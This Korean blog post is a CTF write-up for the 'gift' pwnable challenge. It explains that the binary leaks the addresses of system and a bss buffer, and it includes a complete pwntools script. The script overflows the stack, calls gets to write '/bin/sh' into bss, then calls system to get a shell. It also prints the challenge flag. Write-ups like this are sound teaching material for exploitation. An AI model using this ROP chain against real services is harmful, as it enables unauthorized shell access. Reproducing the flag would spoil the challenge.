문제는 다음과 같다. 바이너리를 다운로드하고 실행해보면,
어떠한 주 솟값을 2개 보여주고, 입력을 총 두 번 받는데 첫 번째로 입력받은 문자열은 그대로 출력해주고 두 번째 입력 이후 프로그램이 그냥 종료됨을 알 수 있다.
IDA로 보면,
보니깐 저 두 개의 주소들은 system 함수와 binsh 임을 확인할 수 있다.
실제로 system 함수는 바이너리 내부에 있었고 다음으로 binsh를 보니깐
bss 주소로 이어짐을 알 수 있었다. 그러나 실제로 '/bin/sh'가 들어 있는 것은 아니었다. 실제로 gdb로 봐도
요렇게 나와 있당 즉 우리는 실제 저 주소에 '/bin/sh'를 넣어주고 system 함수를 /bin/sh를 넣은 저 bss 주소로 인자를 넣어 주면 될 것이다.
익스는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
from pwn import*
#p = process('./gift')
elf = ELF('./gift')
r.recvuntil('Hey guyssssssssss here you are:')
r.recv(11)
system = int(r.recv(10),16)
bss = 0x08049940
pr = 0x0804866b
binsh = '/bin/sh\00'
r.sendline('AAAA')
r.recvuntil('AAAA')
payload = ''
payload += 'A'*132
payload += 'B'*4
payload += p32(elf.symbols['gets'])
payload += p32(pr)
payload += p32(bss)
payload += p32(system)
payload += 'C'*4
payload += p32(bss)
r.sendline(payload)
r.sendline(binsh)
r.interactive()
|
flag는 다음과 같다.
FLAG : HackCTF{플래그_잘_받았지?_이게_내_선물이야!}
'WARGAME > hack ctf' 카테고리의 다른 글
Look at me (0) | 2020.04.10 |
---|---|
Random Key (0) | 2020.03.19 |
1996 (0) | 2020.03.19 |
Poet (0) | 2020.03.10 |
RTL_World (0) | 2020.03.09 |